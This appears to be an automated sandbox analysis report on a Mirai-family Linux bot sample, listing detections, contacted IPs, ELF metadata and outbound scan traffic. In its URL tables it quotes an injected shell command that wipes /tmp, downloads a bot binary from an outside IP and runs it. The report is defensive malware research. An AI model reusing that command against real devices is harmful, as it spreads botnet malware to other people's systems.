    Yara detected Mirai
    Source: Yara matchFile source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY

    Remote Access Functionality

    barindex
    Yara detected Mirai
    Source: Yara matchFile source: 5823.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY

    Mitre Att&ck Matrix

    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management InstrumentationPath InterceptionPath Interception11
    Obfuscated Files or Information    		1
    OS Credential Dumping    		System Service DiscoveryRemote ServicesData from Local System11
    Non-Standard Port    		Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media4
    Non-Application Layer Protocol    		Exfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive4
    Application Layer Protocol    		Automated ExfiltrationData Encrypted for Impact
    Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin HookBinary PaddingNTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput Capture3
    Ingress Tool Transfer    		Traffic DuplicationData Destruction

    Malware Configuration

    ⊘No configs have been found

    Behavior Graph

    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Number of created Files
    • Is malicious
    • Internet
    behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1408384 Sample: na.elf Startdate: 13/03/2024 Architecture: LINUX Score: 80 17 91.123.112.6 ZATTOOZuerichSwitzerlandCH France 2->17 19 185.85.193.124 XSTREAMIT Italy 2->19 21 99 other IPs or domains 2->21 23 Malicious sample detected (through community Yara rule) 2->23 25 Multi AV Scanner detection for submitted file 2->25 27 Yara detected Mirai 2->27 29 4 other signatures 2->29 7 na.elf 2->7         started        signatures3 process4 process5 9 na.elf 7->9         started        11 na.elf 7->11         started        13 na.elf 7->13         started        15 3 other processes 7->15

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    na.elf47%ReversingLabsLinux.Trojan.Mirai
    na.elf100%Joe Sandbox ML

    Dropped Files

    ⊘No Antivirus matches

    Domains

    ⊘No Antivirus matches

    URLs

    SourceDetectionScannerLabelLink
    http://147.78.103.89/bins/mips0%Avira URL Cloudsafe
    http://127.0.0.1:52869/picdesc.xml0%Avira URL Cloudsafe
    http://127.0.0.1:52869/wanipcn.xml0%Avira URL Cloudsafe
    http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws0%Avira URL Cloudsafe

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    daisy.ubuntu.com
    		162.213.35.24
    		truefalse
      		high

      Contacted URLs

      NameMaliciousAntivirus DetectionReputation
      http://127.0.0.1:52869/picdesc.xmlfalse
      • Avira URL Cloud: safe
      		unknown
      http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jawsfalse
      • Avira URL Cloud: safe
      		unknown
      http://127.0.0.1:52869/wanipcn.xmlfalse
      • Avira URL Cloud: safe
      		unknown

      URLs from Memory and Binaries

      NameSourceMaliciousAntivirus DetectionReputation
      http://147.78.103.89/bins/mipsna.elf, 5823.1.0000000008048000.0000000008058000.r-x.sdmpfalse
      • Avira URL Cloud: safe
      		unknown
      http://upx.sf.netna.elffalse
        		high
        http://schemas.xmlsoap.org/soap/encoding/na.elf, 5823.1.0000000008048000.0000000008058000.r-x.sdmpfalse
          		high
          http://schemas.xmlsoap.org/soap/envelope/na.elf, 5823.1.0000000008048000.0000000008058000.r-x.sdmpfalse
            		high

            World Map of Contacted IPs

            • No. of IPs < 25%
            • 25% < No. of IPs < 50%
            • 50% < No. of IPs < 75%
            • 75% < No. of IPs

            Public IPs

            IPDomainCountryFlagASNASN NameMalicious
            206.64.5.114
            		unknownUnited States
            		701UUNETUSfalse
            197.33.61.27
            		unknownEgypt
            		8452TE-ASTE-ASEGfalse
            185.220.10.248
            		unknownSpain
            		205390TECTIQOM-ASDEfalse
            103.128.198.86
            		unknownunknown
            		7575AARNET-AS-APAustralianAcademicandResearchNetworkAARNefalse
            166.66.25.84
            		unknownUnited States
            		22192SSHENETUSfalse
            185.15.125.86
            		unknownDenmark
            		208237AS_NKKOMDKfalse
            185.91.208.190
            		unknownAzerbaijan
            		198193ASN-TCABLEESfalse
            185.166.97.95
            		unknownSwitzerland
            		8758IWAYCHfalse
            152.226.241.66
            		unknownSingapore
            		9292TEMASEK-POLY-ASTemasekPolytechnicSingaporeSGfalse
            198.39.39.67
            		unknownUnited States
            		11857AEGONUSAUSfalse
            197.90.198.153
            		unknownSouth Africa
            		10474OPTINETZAfalse
            65.120.144.22
            		unknownUnited States
            		27235CVC-INET-33USfalse
            91.54.122.229
            		unknownGermany
            		3320DTAGInternetserviceprovideroperationsDEfalse
            59.13.113.245
            		unknownKorea Republic of
            		23566HUNGKUK-AS-KRHungKukLifeInsuranceKRfalse
            185.25.208.105
            		unknownUnited Kingdom
            		60804SWISS-NETWORKCHfalse
            163.116.173.190
            		unknownFrance
            		55256NETSKOPEUSfalse
            45.190.84.205
            		unknownunknown
            		269891TELECOMCORPORATIVASTELECORPCAVEfalse
            91.183.234.29
            		unknownBelgium
            		5432PROXIMUS-ISP-ASBEfalse
            212.191.136.210
            		unknownPoland
            		16283LODMAN-AS2MetropolitanAreaNetworkLODMANPLfalse
            156.24.33.251
            		unknownUnited States
            		29975VODACOM-ZAfalse
            45.221.229.61
            		unknownBenin
            		328092SUD-TELCOM-ASBJfalse
            91.243.156.145
            		unknownSpain
            		12479UNI2-ASESfalse
            91.183.209.67
            		unknownBelgium
            		5432PROXIMUS-ISP-ASBEfalse
            185.85.193.124
            		unknownItaly
            		198102XSTREAMITfalse
            45.11.15.133
            		unknownNetherlands
            		395800GBTCLOUDUSfalse
            197.188.136.8
            		unknownNamibia
            		36996TELECOM-NAMIBIANAfalse
            91.75.212.129
            		unknownUnited Arab Emirates
            		15802DU-AS1AEfalse
            217.16.146.124
            		unknownSpain
            		25508ARQUIRED-ASESfalse
            92.193.186.77
            		unknownGermany
            		20676PLUSNETDEfalse
            45.20.50.210
            		unknownUnited States
            		7018ATT-INTERNET4USfalse
            45.237.182.82
            		unknownBrazil
            		268283NETWORKFIBERCOMERCIOESERVICOSDECOMUNICACAOBRfalse
            45.104.67.16
            		unknownEgypt
            		37069MOBINILEGfalse
            185.45.66.49
            		unknownBulgaria
            		201200SUPERHOSTING_ASBGfalse
            185.21.137.239
            		unknownIraq
            		209565ALSARDFIBERIQfalse
            45.63.53.236
            		unknownUnited States
            		20473AS-CHOOPAUSfalse
            197.237.248.145
            		unknownKenya
            		15399WANANCHI-KEfalse
            45.231.70.92
            		unknownBrazil
            		267202LIFENETWORKSECOMUNICACAOLTDA-MEBRfalse
            51.34.72.48
            		unknownUnited Kingdom
            		2686ATGS-MMD-ASUSfalse
            185.63.106.15
            		unknownCzech Republic
            		59984KLFREE-NETWORKSCZfalse
            45.127.206.109
            		unknownIndonesia
            		55699STARNET-AS-IDPTCemerlangMultimediaIDfalse
            190.186.66.118
            		unknownBolivia
            		25620COTASLTDABOfalse
            45.202.220.137
            		unknownSeychelles
            		132839POWERLINE-AS-APPOWERLINEDATACENTERHKfalse
            91.54.23.46
            		unknownGermany
            		3320DTAGInternetserviceprovideroperationsDEfalse
            45.124.225.17
            		unknownIndia
            		9381HKBNES-AS-APHKBNEnterpriseSolutionsHKLimitedHKfalse
            172.152.208.74
            		unknownUnited States
            		7018ATT-INTERNET4USfalse
            71.32.39.90
            		unknownUnited States
            		209CENTURYLINK-US-LEGACY-QWESTUSfalse
            91.75.212.155
            		unknownUnited Arab Emirates
            		15802DU-AS1AEfalse
            185.78.207.46
            		unknownUnited Kingdom
            		8426CLARANET-ASClaraNETLTDGBfalse
            197.222.170.117
            		unknownEgypt
            		37069MOBINILEGfalse
            34.225.202.12
            		unknownUnited States
            		14618AMAZON-AESUSfalse
            45.239.81.153
            		unknownBrazil
            		268384JCTELECOMBRfalse
            91.121.98.243
            		unknownFrance
            		16276OVHFRfalse
            185.246.165.68
            		unknownGreece
            		204932FRIKTORIANETGRfalse
            45.47.13.180
            		unknownUnited States
            		11351TWC-11351-NORTHEASTUSfalse
            91.5.46.32
            		unknownGermany
            		3320DTAGInternetserviceprovideroperationsDEfalse
            91.191.194.1
            		unknownAzerbaijan
            		41997CONNECT-AS-1AZfalse
            45.47.13.182
            		unknownUnited States
            		11351TWC-11351-NORTHEASTUSfalse
            185.56.176.218
            		unknownFrance
            		35600ASN-VEDEGEFRfalse
            204.61.45.44
            		unknownUnited States
            		40628OKLAHOMA-OMESUSfalse
            91.19.165.17
            		unknownGermany
            		3320DTAGInternetserviceprovideroperationsDEfalse
            185.58.155.27
            		unknownRussian Federation
            		13178DIGCOMMFRfalse
            197.194.23.177
            		unknownEgypt
            		36992ETISALAT-MISREGfalse
            45.127.206.166
            		unknownIndonesia
            		55699STARNET-AS-IDPTCemerlangMultimediaIDfalse
            91.123.112.6
            		unknownFrance
            		8302ZATTOOZuerichSwitzerlandCHfalse
            156.161.254.74
            		unknownEgypt
            		36992ETISALAT-MISREGfalse
            45.173.64.33
            		unknownBrazil
            		268799SITESURVEY-REDESINFORMATICALTDABRfalse
            91.199.137.62
            		unknownunknown
            		56694DHUBRUfalse
            185.0.80.143
            		unknownunknown
            		5778CENTURYLINK-LEGACY-EMBARQ-RCMTUSfalse
            91.50.60.155
            		unknownGermany
            		3320DTAGInternetserviceprovideroperationsDEfalse
            186.237.47.151
            		unknownBrazil
            		28255WESTINTERNETBANDALARGABRfalse
            91.131.88.151
            		unknownAustria
            		1257TELE2EUfalse
            12.183.68.180
            		unknownUnited States
            		7018ATT-INTERNET4USfalse
            185.244.103.200
            		unknownEstonia
            		202635SERVERFARMEEfalse
            91.15.171.196
            		unknownGermany
            		3320DTAGInternetserviceprovideroperationsDEfalse
            104.244.106.11
            		unknownUnited States
            		4922SHENTELUSfalse
            185.126.207.161
            		unknownItaly
            		208920ROCKETWAY-ASITfalse
            116.133.62.173
            		unknownChina
            		4837CHINA169-BACKBONECHINAUNICOMChina169BackboneCNfalse
            25.248.12.5
            		unknownUnited Kingdom
            		199055UKCLOUD-ASGBfalse
            185.138.75.113
            		unknownNorway
            		2119TELENOR-NEXTELTelenorNorgeASNOfalse
            41.219.166.75
            		unknownNigeria
            		37196SUDATEL-SENEGALSNfalse
            185.50.154.109
            		unknownUnited Kingdom
            		50203UK-REYNOLDS-ASNGBfalse
            185.8.175.0
            		unknownIran (ISLAMIC Republic Of)
            		60631PARVASYSTEMIRfalse
            199.126.97.38
            		unknownCanada
            		852ASN852CAfalse
            178.6.92.207
            		unknownGermany
            		3209VODANETInternationalIP-BackboneofVodafoneDEfalse
            91.19.77.205
            		unknownGermany
            		3320DTAGInternetserviceprovideroperationsDEfalse
            195.182.226.195
            		unknownItaly
            		39399FENIXVT-ASRUfalse
            95.85.184.221
            		unknownSerbia
            		41897SAT-TRAKT-ASSerbiaRSfalse
            185.118.141.106
            		unknownTurkey
            		57844SPD-NETTRfalse
            18.152.28.104
            		unknownUnited States
            		16509AMAZON-02USfalse
            45.254.240.3
            		unknownChina
            		137263NETEASE-AS-APNETEASEHONGKONGLIMITEDHKfalse
            189.219.148.219
            		unknownMexico
            		11888TelevisionInternacionalSAdeCVMXfalse
            78.7.197.204
            		unknownItaly
            		8968BT-ITALIAITfalse
            185.170.27.9
            		unknownGermany
            		196810MORESICOMCHfalse
            125.243.74.69
            		unknownKorea Republic of
            		17858POWERVIS-AS-KRLGPOWERCOMMKRfalse
            217.165.155.132
            		unknownUnited Arab Emirates
            		5384EMIRATES-INTERNETEmiratesInternetAEfalse
            91.5.97.6
            		unknownGermany
            		3320DTAGInternetserviceprovideroperationsDEfalse
            45.117.212.10
            		unknownIndia
            		45194SIPL-ASSysconInfowayPvtLtdINfalse
            185.251.116.29
            		unknownUnited Kingdom
            		40676AS40676USfalse
            45.48.169.28
            		unknownUnited States
            		20001TWC-20001-PACWESTUSfalse
            179.153.48.30
            		unknownBrazil
            		28573CLAROSABRfalse

            Joe Sandbox View / Context

            IPs

            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
            197.33.61.27YEj369Ef54.elfGet hashmaliciousMiraiBrowse
              MtKZtuwOXB.elfGet hashmaliciousMiraiBrowse
                47RMaTbdd4Get hashmaliciousMiraiBrowse
                  cTJRJbi4gjGet hashmaliciousMiraiBrowse
                    197.90.198.153huhu.arm7-20240212-0910.elfGet hashmaliciousMirai, OkiruBrowse
                      DeDud2KDhT.elfGet hashmaliciousMirai, MoobotBrowse
                        armGet hashmaliciousMiraiBrowse
                          65.120.144.22MUHshYMtUe.elfGet hashmaliciousMiraiBrowse
                            185.220.10.248U4HipSF3yX.elfGet hashmaliciousMiraiBrowse
                              103.128.198.865NNjNFVnfV.elfGet hashmaliciousMiraiBrowse
                                arm7Get hashmaliciousMiraiBrowse
                                  185.25.208.1055kh7DYQuRs.elfGet hashmaliciousUnknownBrowse
                                    Fourloko.arm-20211230-1450Get hashmaliciousGafgyt MiraiBrowse
                                      sbcPMw271mGet hashmaliciousMiraiBrowse
                                        Antisocial.armGet hashmaliciousMiraiBrowse
                                          163.116.173.190RIy8RQn22YGet hashmaliciousMiraiBrowse
                                            185.91.208.19043ZYohKtbk.elfGet hashmaliciousMiraiBrowse
                                              185.166.97.95Hilix.mpsl.elfGet hashmaliciousMiraiBrowse
                                                0l5b50PquuGet hashmaliciousMiraiBrowse
                                                  UQnO4DB8Z1Get hashmaliciousMiraiBrowse
                                                    93T511Z3h8Get hashmaliciousMiraiBrowse

                                                      Domains

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      daisy.ubuntu.comna.elfGet hashmaliciousUnknownBrowse
                                                      • 162.213.35.24
                                                      linux_ppc64.elfGet hashmaliciousChaosBrowse
                                                      • 162.213.35.24
                                                      linux_mipsel_softfloat.elfGet hashmaliciousUnknownBrowse
                                                      • 162.213.35.24
                                                      linux_arm5.elfGet hashmaliciousChaosBrowse
                                                      • 162.213.35.25
                                                      na.elfGet hashmaliciousUnknownBrowse
                                                      • 162.213.35.24
                                                      linux_mipsel.elfGet hashmaliciousChaosBrowse
                                                      • 162.213.35.24
                                                      DqasdSfiU1.elfGet hashmaliciousUnknownBrowse
                                                      • 162.213.35.25
                                                      GW2CCEVa5K.elfGet hashmaliciousMiraiBrowse
                                                      • 162.213.35.25
                                                      u5cvwqbxIw.elfGet hashmaliciousMiraiBrowse
                                                      • 162.213.35.24
                                                      4YuW4C3MA7.elfGet hashmaliciousMiraiBrowse
                                                      • 162.213.35.24

                                                      ASNs

                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                      AARNET-AS-APAustralianAcademicandResearchNetworkAARNepUQL9ZI8ks.elfGet hashmaliciousMiraiBrowse
                                                      • 103.183.120.49
                                                      isWhefjqVA.elfGet hashmaliciousMiraiBrowse
                                                      • 138.25.60.163
                                                      HSBC e-Remittance Advise.PDF.exeGet hashmaliciousRemcos, GuLoaderBrowse
                                                      • 103.67.163.213
                                                      SecuriteInfo.com.Linux.Siggen.9999.26560.2729.elfGet hashmaliciousMiraiBrowse
                                                      • 157.85.109.69
                                                      https://t.apemail.net/c/nqkr6vk3kzmvyhqvdmdrwaahaudaebaoainqogyhdmkxs5qvdmkqcvagayhveflk-nqdbwfkcivnrkgyvpf3bkgygamaa4bqedmcagbahdmdrwbigaeaqkbqbdmdrwby3cupvkw2wlfob4fi3a4nvsqs3lmnrk63ypb6bo73smvzbkgyaa4cqmaqebybbwfk7inbuorandamfevcydjmfmrc6iqmviwc2dbav4u2slamf4wswkbjeigcqkznferazl5bvuwyvdnbukqssdmaaeaq3cv4xmfi3lfbfwwy3lfbfwwy3lfbfwwy3lfbfwwy3cuavibqgb5jbk2qGet hashmaliciousHTMLPhisherBrowse
                                                      • 103.169.160.74
                                                      x86_64-20240313-0840.elfGet hashmaliciousMirai, MoobotBrowse
                                                      • 157.85.122.251
                                                      ZzjhTEVx80.elfGet hashmaliciousMiraiBrowse
                                                      • 103.175.147.255
                                                      e8el6hrK3B.elfGet hashmaliciousMirai, MoobotBrowse
                                                      • 203.29.110.23
                                                      skid.arm.elfGet hashmaliciousMiraiBrowse
                                                      • 157.85.230.4
                                                      skid.arm7.elfGet hashmaliciousMiraiBrowse
                                                      • 103.160.103.130
                                                      TECTIQOM-ASDEpL93mphmiw.elfGet hashmaliciousUnknownBrowse
                                                      • 185.220.10.201
                                                      sora.arm.elfGet hashmaliciousMiraiBrowse
                                                      • 185.220.10.204
                                                      Hilix.arm7.elfGet hashmaliciousMiraiBrowse
                                                      • 185.220.10.231
                                                      Hilix.x86.elfGet hashmaliciousMiraiBrowse
                                                      • 185.220.10.241
                                                      nbevsuVsWZ.elfGet hashmaliciousMiraiBrowse
                                                      • 185.220.10.223
                                                      VHZbf5ntAo.elfGet hashmaliciousMiraiBrowse
                                                      • 185.220.10.204
                                                      sora.x86.elfGet hashmaliciousMiraiBrowse
                                                      • 185.220.10.223
                                                      U4HipSF3yX.elfGet hashmaliciousMiraiBrowse
                                                      • 185.220.10.248
                                                      tQcDyJ1gjh.elfGet hashmaliciousMiraiBrowse
                                                      • 185.220.8.234
                                                      U871IGdT6s.elfGet hashmaliciousMiraiBrowse
                                                      • 185.220.8.220
                                                      TE-ASTE-ASEGSecuriteInfo.com.Linux.Siggen.9999.11640.24625.elfGet hashmaliciousMiraiBrowse
                                                      • 41.44.16.147
                                                      SecuriteInfo.com.Linux.Siggen.9999.25904.11035.elfGet hashmaliciousMiraiBrowse
                                                      • 156.197.151.8
                                                      SecuriteInfo.com.Linux.Siggen.9999.26560.2729.elfGet hashmaliciousMiraiBrowse
                                                      • 41.37.226.168
                                                      SecuriteInfo.com.Linux.Siggen.9999.12773.8422.elfGet hashmaliciousMiraiBrowse
                                                      • 197.56.13.228
                                                      SecuriteInfo.com.Linux.Siggen.9999.2598.31132.elfGet hashmaliciousMiraiBrowse
                                                      • 156.204.47.9
                                                      nOP8vkpsYK.elfGet hashmaliciousUnknownBrowse
                                                      • 156.203.144.46
                                                      x86_64-20240313-0840.elfGet hashmaliciousMirai, MoobotBrowse
                                                      • 41.34.56.168
                                                      x86-20240313-0840.elfGet hashmaliciousMirai, MoobotBrowse
                                                      • 197.42.195.184
                                                      mips-20240313-0840.elfGet hashmaliciousMirai, MoobotBrowse
                                                      • 41.32.200.192
                                                      arm7-20240313-0840.elfGet hashmaliciousMirai, MoobotBrowse
                                                      • 197.38.239.215
                                                      UUNETUS7YYJZyLPiX.elfGet hashmaliciousMiraiBrowse
                                                      • 193.67.11.83
                                                      cCQ8OCNYwd.elfGet hashmaliciousMiraiBrowse
                                                      • 74.102.102.247
                                                      pUQL9ZI8ks.elfGet hashmaliciousMiraiBrowse
                                                      • 63.100.234.106
                                                      isWhefjqVA.elfGet hashmaliciousMiraiBrowse
                                                      • 65.253.153.61
                                                      SecuriteInfo.com.Linux.Siggen.9999.25904.11035.elfGet hashmaliciousMiraiBrowse
                                                      • 186.99.43.121
                                                      SecuriteInfo.com.Linux.Siggen.9999.20942.27288.elfGet hashmaliciousMiraiBrowse
                                                      • 208.202.157.196
                                                      SecuriteInfo.com.Linux.Siggen.9999.29772.19360.elfGet hashmaliciousMiraiBrowse
                                                      • 74.101.75.227
                                                      hct2LP4SnX.elfGet hashmaliciousUnknownBrowse
                                                      • 193.78.73.19
                                                      x86-20240313-0840.elfGet hashmaliciousMirai, MoobotBrowse
                                                      • 108.20.111.171
                                                      arm7-20240313-0840.elfGet hashmaliciousMirai, MoobotBrowse
                                                      • 208.216.48.109

                                                      JA3 Fingerprints

                                                      ⊘No context

                                                      Dropped Files

                                                      ⊘No context

                                                      Created / dropped Files

                                                      ⊘No created / dropped files found

                                                      Static File Info

                                                      General

                                                      File type:ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
                                                      Entropy (8bit):7.880144267790259
                                                      TrID:
                                                      • ELF Executable and Linkable format (Linux) (4029/14) 50.16%
                                                      • ELF Executable and Linkable format (generic) (4004/1) 49.84%
                                                      File name:na.elf
                                                      File size:35'412 bytes
                                                      MD5:5452f854ac98c5d8d836f317e99b7ad2
                                                      SHA1:2d1c2375f97a4899188a1ba6988365cee1794087
                                                      SHA256:0613f269f2729473638dd3d0091c0868f223c65502c60a302aa3c248c336218b
                                                      SHA512:4f1ad3df0280aad16024b34e8342ee5266e4a08590aff506daf0a6b04fc11bf7ef7d1b4477e65952f9e8a96cb089e4dd0ea3a2da83dc4ae37ccb3f88dd8722cd
                                                      SSDEEP:768:GvSW8tB6/K4ml5/f7Jm6+QdwqeC/vT0KET:GvJgZDJmVQGCoPT
                                                      TLSH:15F2F1F8024B8692E7C112B90DD3DF2F7A5EA4814508B54F298D466C7BB31E973B0DC6
                                                      File Content Preview:.ELF........................4...........4. ...(.....................O...O...........................................Q.td............................Q...UPX!........0...0.......]........?d..ELF.......d...m...4..... .(......m..-.#.......6..........`..>...+.

                                                      Static ELF Info

                                                      ELF header

                                                      Class:ELF32
                                                      Data:2's complement, little endian
                                                      Version:1 (current)
                                                      Machine:Intel 80386
                                                      Version Number:0x1
                                                      Type:EXEC (Executable file)
                                                      OS/ABI:UNIX - Linux
                                                      ABI Version:0
                                                      Entry Point Address:0x80500b0
                                                      Flags:0x0
                                                      ELF Header Size:52
                                                      Program Header Offset:52
                                                      Program Header Size:32
                                                      Number of Program Headers:3
                                                      Section Header Offset:0
                                                      Section Header Size:40
                                                      Number of Section Headers:0
                                                      Header String Table Index:0

                                                      Program Segments

                                                      TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                                                      LOAD0x00x80480000x80480000x894f0x894f7.88400x5R E0x1000
                                                      LOAD0x00x80510000x80510000x00x9ba00.00000x6RW 0x1000
                                                      GNU_STACK0x00x00x00x00x00.00000x6RW 0x4

                                                      Network Behavior

                                                      Network Port Distribution

                                                      TCP Packets

                                                      TimestampSource PortDest PortSource IPDest IP
                                                      Mar 13, 2024 16:25:57.035788059 CET722437215192.168.2.1541.22.154.177
                                                      Mar 13, 2024 16:25:57.035795927 CET722437215192.168.2.15197.216.113.177
                                                      Mar 13, 2024 16:25:57.035799026 CET722437215192.168.2.1541.140.88.145
                                                      Mar 13, 2024 16:25:57.035818100 CET722437215192.168.2.1541.15.193.245
                                                      Mar 13, 2024 16:25:57.035824060 CET722437215192.168.2.15197.11.9.106
                                                      Mar 13, 2024 16:25:57.035830975 CET722437215192.168.2.15197.207.143.244
                                                      Mar 13, 2024 16:25:57.035842896 CET722437215192.168.2.15156.10.152.74
                                                      Mar 13, 2024 16:25:57.035852909 CET722437215192.168.2.15156.26.59.215
                                                      Mar 13, 2024 16:25:57.035860062 CET722437215192.168.2.15197.19.26.126
                                                      Mar 13, 2024 16:25:57.035876989 CET722437215192.168.2.1541.6.27.61
                                                      Mar 13, 2024 16:25:57.035876989 CET722437215192.168.2.1541.62.159.5
                                                      Mar 13, 2024 16:25:57.035880089 CET722437215192.168.2.15197.194.73.207
                                                      Mar 13, 2024 16:25:57.035897970 CET722437215192.168.2.15156.2.34.234
                                                      Mar 13, 2024 16:25:57.035912991 CET722437215192.168.2.15156.127.165.156
                                                      Mar 13, 2024 16:25:57.035916090 CET722437215192.168.2.1541.239.68.83
                                                      Mar 13, 2024 16:25:57.035912991 CET722437215192.168.2.1541.15.216.40
                                                      Mar 13, 2024 16:25:57.035922050 CET722437215192.168.2.1541.82.165.239
                                                      Mar 13, 2024 16:25:57.035922050 CET722437215192.168.2.15197.56.158.2
                                                      Mar 13, 2024 16:25:57.035940886 CET722437215192.168.2.15197.139.103.99
                                                      Mar 13, 2024 16:25:57.035953999 CET722437215192.168.2.15197.51.196.161
                                                      Mar 13, 2024 16:25:57.035965919 CET722437215192.168.2.1541.10.247.110
                                                      Mar 13, 2024 16:25:57.035967112 CET722437215192.168.2.15156.240.237.8
                                                      Mar 13, 2024 16:25:57.035972118 CET722437215192.168.2.15156.31.159.192
                                                      Mar 13, 2024 16:25:57.035978079 CET722437215192.168.2.15156.252.150.131
                                                      Mar 13, 2024 16:25:57.035980940 CET722437215192.168.2.1541.197.66.245
                                                      Mar 13, 2024 16:25:57.035990953 CET722437215192.168.2.15156.124.112.231
                                                      Mar 13, 2024 16:25:57.035996914 CET722437215192.168.2.15197.205.241.98
                                                      Mar 13, 2024 16:25:57.036015034 CET722437215192.168.2.15197.204.22.167
                                                      Mar 13, 2024 16:25:57.036015034 CET722437215192.168.2.15197.115.189.113
                                                      Mar 13, 2024 16:25:57.036016941 CET722437215192.168.2.15197.244.216.95
                                                      Mar 13, 2024 16:25:57.036025047 CET722437215192.168.2.15156.87.208.8
                                                      Mar 13, 2024 16:25:57.036035061 CET722437215192.168.2.15156.207.195.62
                                                      Mar 13, 2024 16:25:57.036050081 CET722437215192.168.2.15156.232.253.78
                                                      Mar 13, 2024 16:25:57.036051989 CET722437215192.168.2.1541.11.216.248
                                                      Mar 13, 2024 16:25:57.036057949 CET722437215192.168.2.1541.161.72.113
                                                      Mar 13, 2024 16:25:57.036077976 CET722437215192.168.2.15197.14.240.243
                                                      Mar 13, 2024 16:25:57.036081076 CET722437215192.168.2.1541.82.56.173
                                                      Mar 13, 2024 16:25:57.036089897 CET722437215192.168.2.1541.134.69.75
                                                      Mar 13, 2024 16:25:57.036092043 CET722437215192.168.2.1541.134.236.213
                                                      Mar 13, 2024 16:25:57.036104918 CET722437215192.168.2.15156.164.199.77
                                                      Mar 13, 2024 16:25:57.036108017 CET722437215192.168.2.1541.147.115.175
                                                      Mar 13, 2024 16:25:57.036122084 CET722437215192.168.2.15197.132.161.141
                                                      Mar 13, 2024 16:25:57.036125898 CET722437215192.168.2.15197.71.123.85
                                                      Mar 13, 2024 16:25:57.036138058 CET722437215192.168.2.1541.184.134.255
                                                      Mar 13, 2024 16:25:57.036145926 CET722437215192.168.2.1541.248.212.105
                                                      Mar 13, 2024 16:25:57.036163092 CET722437215192.168.2.1541.146.104.232
                                                      Mar 13, 2024 16:25:57.036164045 CET722437215192.168.2.15156.20.37.138
                                                      Mar 13, 2024 16:25:57.036165953 CET722437215192.168.2.1541.102.163.221
                                                      Mar 13, 2024 16:25:57.036179066 CET722437215192.168.2.15197.43.55.38
                                                      Mar 13, 2024 16:25:57.036180973 CET722437215192.168.2.15197.120.102.242
                                                      Mar 13, 2024 16:25:57.036191940 CET722437215192.168.2.15156.180.210.121
                                                      Mar 13, 2024 16:25:57.036207914 CET722437215192.168.2.1541.138.157.76
                                                      Mar 13, 2024 16:25:57.036210060 CET722437215192.168.2.15156.194.20.87
                                                      Mar 13, 2024 16:25:57.036223888 CET722437215192.168.2.1541.133.49.181
                                                      Mar 13, 2024 16:25:57.036225080 CET722437215192.168.2.15156.116.215.92
                                                      Mar 13, 2024 16:25:57.036225080 CET722437215192.168.2.1541.204.67.249
                                                      Mar 13, 2024 16:25:57.036228895 CET722437215192.168.2.15197.224.99.239
                                                      Mar 13, 2024 16:25:57.036231995 CET722437215192.168.2.15156.66.110.41
                                                      Mar 13, 2024 16:25:57.036245108 CET722437215192.168.2.15197.98.164.53
                                                      Mar 13, 2024 16:25:57.036246061 CET722437215192.168.2.15156.30.138.30
                                                      Mar 13, 2024 16:25:57.036248922 CET722437215192.168.2.1541.211.10.199
                                                      Mar 13, 2024 16:25:57.036248922 CET722437215192.168.2.15156.59.248.44
                                                      Mar 13, 2024 16:25:57.036263943 CET722437215192.168.2.15156.190.27.36
                                                      Mar 13, 2024 16:25:57.036267996 CET722437215192.168.2.15156.197.252.162
                                                      Mar 13, 2024 16:25:57.036267996 CET722437215192.168.2.1541.164.27.135
                                                      Mar 13, 2024 16:25:57.038430929 CET722437215192.168.2.15156.210.56.9
                                                      Mar 13, 2024 16:25:57.038438082 CET722437215192.168.2.1541.121.177.115
                                                      Mar 13, 2024 16:25:57.038453102 CET722437215192.168.2.15156.120.68.28
                                                      Mar 13, 2024 16:25:57.038454056 CET722437215192.168.2.1541.144.149.57
                                                      Mar 13, 2024 16:25:57.038454056 CET722437215192.168.2.1541.186.139.161
                                                      Mar 13, 2024 16:25:57.038474083 CET722437215192.168.2.15156.29.103.211
                                                      Mar 13, 2024 16:25:57.038475990 CET722437215192.168.2.15197.46.92.65
                                                      Mar 13, 2024 16:25:57.038494110 CET722437215192.168.2.15156.79.110.63
                                                      Mar 13, 2024 16:25:57.038515091 CET722437215192.168.2.1541.38.64.233
                                                      Mar 13, 2024 16:25:57.038528919 CET722437215192.168.2.1541.131.154.157
                                                      Mar 13, 2024 16:25:57.038535118 CET722437215192.168.2.15156.254.191.173
                                                      Mar 13, 2024 16:25:57.038553953 CET722437215192.168.2.15156.194.3.153
                                                      Mar 13, 2024 16:25:57.038558960 CET722437215192.168.2.1541.168.221.143
                                                      Mar 13, 2024 16:25:57.038558960 CET722437215192.168.2.1541.11.40.65
                                                      Mar 13, 2024 16:25:57.038583040 CET722437215192.168.2.15197.222.216.229
